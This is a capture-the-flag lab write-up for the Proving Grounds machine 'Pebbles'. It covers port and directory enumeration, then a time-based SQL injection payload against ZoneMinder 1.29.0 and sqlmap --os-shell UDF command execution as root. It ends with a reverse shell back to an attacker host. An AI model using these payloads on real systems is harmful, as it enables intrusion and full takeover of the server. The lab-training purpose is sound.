Skip to content

Pebbles Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

Pebbles runs ZoneMinder v1.29.0 under a hidden path on port 3305. That version has a SQL injection in the limit POST parameter, and the database runs as root with a DBA account, so sqlmap's --os-shell injects a UDF and executes commands as root directly.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3305/tcp open  http
8080/tcp open  http-proxy
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

The web app on port 3305 serves a default Apache page. Brute force its directories.

Directory discovery

Enumerate directories.

┌──(kali㉿kali)-[~]
└─$ dirb http://$TARGET_IP:3305 /usr/share/wordlists/dirb/big.txt
+ http://$TARGET_IP:3305/cgi-bin/ (CODE:403)
==> DIRECTORY: http://$TARGET_IP:3305/zm/

The /zm/ path is a ZoneMinder console, version 1.29.0, which is vulnerable to a SQL injection in the limit POST variable (Exploit-DB 41239).

Exploitation

ZoneMinder SQL injection

Capture the monitor log request in Burp and confirm the injection with a time-based payload.

view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434

The five-second delay confirms the injection. The database runs as root with a DBA user, so sqlmap can inject a user-defined function and open an OS shell as root.

┌──(kali㉿kali)-[~]
└─$ sqlmap -r post.txt --dbms mysql --os-shell
Parameter: limit (POST)
    Type: stacked queries
    Payload: ...limit=100;SELECT SLEEP(5)#

[*] current user is DBA: root@localhost
[*] creating UDF 'sys_exec' from the binary UDF file
[*] calling Linux OS shell.
os-shell> whoami
command standard output: 'root'
Explain command
-r Load the saved HTTP request to inject into.
--os-shell Drop an interactive OS command shell via a MySQL UDF.

The os-shell runs as root. Upgrade it to a full reverse shell by hosting a netcat binary, downloading it, and connecting back.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

The database runs as root, so the UDF command execution is already root. No separate privilege escalation is required.

References